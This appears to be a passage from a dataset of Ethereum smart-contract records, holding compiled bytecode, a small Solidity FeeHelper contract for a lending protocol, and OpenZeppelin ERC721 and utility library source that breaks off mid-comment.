002054821115151561125657600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156112e157600080fd5b611332826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120b290919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506113c5826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120cb90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061149682600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120b290919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60003073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141515156115c357600080fd5b6115cd84846119e3565b508373ffffffffffffffffffffffffffffffffffffffff16348360405180828051906020019080838360005b838110156116145780820151818401526020810190506115f9565b50505050905090810190601f1680156116415780820380516001836020036101000a031916815260200191505b5091505060006040518083038185875af192505050151561166157600080fd5b600190509392505050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508083111561177d576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611811565b61179083826120b290919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60003073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415151561193a57600080fd5b6119448484611eb6565b508373ffffffffffffffffffffffffffffffffffffffff16348360405180828051906020019080838360005b8381101561198b578082015181840152602081019050611970565b50505050905090810190601f1680156119b85780820380516001836020036101000a031916815260200191505b5091505060006040518083038185875af19250505015156119d857600080fd5b600190509392505050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611a2057600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611a6d57600080fd5b611abe826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120b290919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b51826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120cb90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60003073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515611c3f57600080fd5b611c4a8585856111cc565b508373ffffffffffffffffffffffffffffffffffffffff16348360405180828051906020019080838360005b83811015611c91578082015181840152602081019050611c76565b50505050905090810190601f168015611cbe5780820380516001836020036101000a031916815260200191505b5091505060006040518083038185875af1925050501515611cde57600080fd5b60019050949350505050565b60003073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515611d2757600080fd5b611d3184846110da565b508373ffffffffffffffffffffffffffffffffffffffff16348360405180828051906020019080838360005b83811015611d78578082015181840152602081019050611d5d565b50505050905090810190601f168015611da55780820380516001836020036101000a031916815260200191505b5091505060006040518083038185875af1925050501515611dc557600080fd5b600190509392505050565b60003073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515611e0d57600080fd5b611e17848461166c565b508373ffffffffffffffffffffffffffffffffffffffff16348360405180828051906020019080838360005b83811015611e5e578082015181840152602081019050611e43565b50505050905090810190601f168015611e8b5780820380516001836020036101000a031916815260200191505b5091505060006040518083038185875af1925050501515611eab57600080fd5b600190509392505050565b6000611f4782600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120cb90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b60008282111515156120c057fe5b818303905092915050565b600081830190508281101515156120de57fe5b809050929150505600a165627a7a72305820f2d2efc02779d46701dfc25046c930164e066e66ea971f94cd24fb36998a17ce0029
[ 38 ]
0xf24f35e5ed0338175ded0d972dafd0e6b56e6f2b
// SPDX-License-Identifier: UNLICENSED // Copyright (c) 2021 0xdev0 - All rights reserved // https://twitter.com/0xdev0 pragma solidity 0.8.6; interface IERC20 { function totalSupply() external view returns (uint); function balanceOf(address account) external view returns (uint); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint); function symbol() external view returns (string memory); function decimals() external view returns (uint); function approve(address spender, uint amount) external returns (bool); function mint(address account, uint amount) external; function burn(address account, uint amount) external; function transferFrom(address sender, address recipient, uint amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } interface IInterestRateModel { function systemRate(ILendingPair _pair, address _token) external view returns(uint); function supplyRatePerBlock(ILendingPair _pair, address _token) external view returns(uint); function borrowRatePerBlock(ILendingPair _pair, address _token) external view returns(uint); } interface IRewardDistribution { function distributeReward(address _account, address _token) external; function setTotalRewardPerBlock(uint _value) external; function migrateRewards(address _recipient, uint _amount) external; function addPool( address _pair, address _token, bool _isSupply, uint _points ) external; function setReward( address _pair, address _token, bool _isSupply, uint _points ) external; } interface IController { function interestRateModel() external view returns(IInterestRateModel); function rewardDistribution() external view returns(IRewardDistribution); function feeRecipient() external view returns(address); function LIQ_MIN_HEALTH() external view returns(uint); function minBorrowUSD() external view returns(uint); function liqFeeSystem(address _token) external view returns(uint); function liqFeeCaller(address _token) external view returns(uint); function liqFeesTotal(address _token) external view returns(uint); function colFactor(address _token) external view returns(uint); function depositLimit(address _lendingPair, address _token) external view returns(uint); function borrowLimit(address _lendingPair, address _token) external view returns(uint); function originFee(address _token) external view returns(uint); function depositsEnabled() external view returns(bool); function borrowingEnabled() external view returns(bool); function setFeeRecipient(address _feeRecipient) external; function tokenPrice(address _token) external view returns(uint); function tokenSupported(address _token) external view returns(bool); function setRewardDistribution(address _value) external; function setInterestRateModel(address _value) external; function setDepositLimit(address _pair, address _token, uint _value) external; } interface ILendingPair { function checkAccountHealth(address _account) external view; function accrueAccount(address _account) external; function accrue() external; function accountHealth(address _account) external view returns(uint); function totalDebt(address _token) external view returns(uint); function tokenA() external view returns(address); function tokenB() external view returns(address); function lpToken(address _token) external view returns(IERC20); function debtOf(address _account, address _token) external view returns(uint); function pendingDebtTotal(address _token) external view returns(uint); function pendingSupplyTotal(address _token) external view returns(uint); function deposit(address _token, uint _amount) external; function pendingBorrowInterest(address _token, address _account) external view returns(uint); function pendingSupplyInterest(address _token, address _account) external view returns(uint); function withdraw(address _token, uint _amount) external; function borrow(address _token, uint _amount) external; function repay(address _token, uint _amount) external; function withdrawAll(address _token) external; function depositRepay(address _account, address _token, uint _amount) external; function withdrawBorrow(address _token, uint _amount) external; function controller() external view returns(IController); function borrowBalance( address _account, address _borrowedToken, address _returnToken ) external view returns(uint); function supplyBalance( address _account, address _suppliedToken, address _returnToken ) external view returns(uint); function convertTokenValues( address _fromToken, address _toToken, uint _inputAmount ) external view returns(uint); } contract FeeHelper { uint private constant MAX_INT = 2**256 - 1; function accrueAccounts(ILendingPair _lendingPair, address[] memory _accounts) external { for (uint i = 0; i < _accounts.length; i++) { _lendingPair.accrueAccount(_accounts[i]); } } }
0x608060405234801561001057600080fd5b506004361061002b5760003560e01c80637762a9d814610030575b600080fd5b61004361003e3660046100ff565b610045565b005b60005b81518110156100ea57826001600160a01b031663bfe69c8d83838151811061007257610072610209565b60200260200101516040518263ffffffff1660e01b81526004016100a591906001600160a01b0391909116815260200190565b600060405180830381600087803b1580156100bf57600080fd5b505af11580156100d3573d6000803e3d6000fd5b5050505080806100e2906101e0565b915050610048565b505050565b80356100fa81610235565b919050565b6000806040838503121561011257600080fd5b823561011d81610235565b915060208381013567ffffffffffffffff8082111561013b57600080fd5b818601915086601f83011261014f57600080fd5b8135818111156101615761016161021f565b8060051b604051601f19603f830116810181811085821117156101865761018661021f565b604052828152858101935084860182860187018b10156101a557600080fd5b600095505b838610156101cf576101bb816100ef565b8552600195909501949386019386016101aa565b508096505050505050509250929050565b600060001982141561020257634e487b7160e01b600052601160045260246000fd5b5060010190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461024a57600080fd5b5056fea26469706673582212209a47f7045d6343ed214c9c951ab30eff185f48d38651821bb9273f677be4743164736f6c63430008060033
[ 38 ]
0xf24f3b174fbad3e60c8f5d34170c74985ce3ee54
// File: @openzeppelin/contracts/utils/Strings.sol // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Address.sol // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/security/Pausable.sol // OpenZeppelin Contracts v4.4.1 (security/Pausable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor() { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * 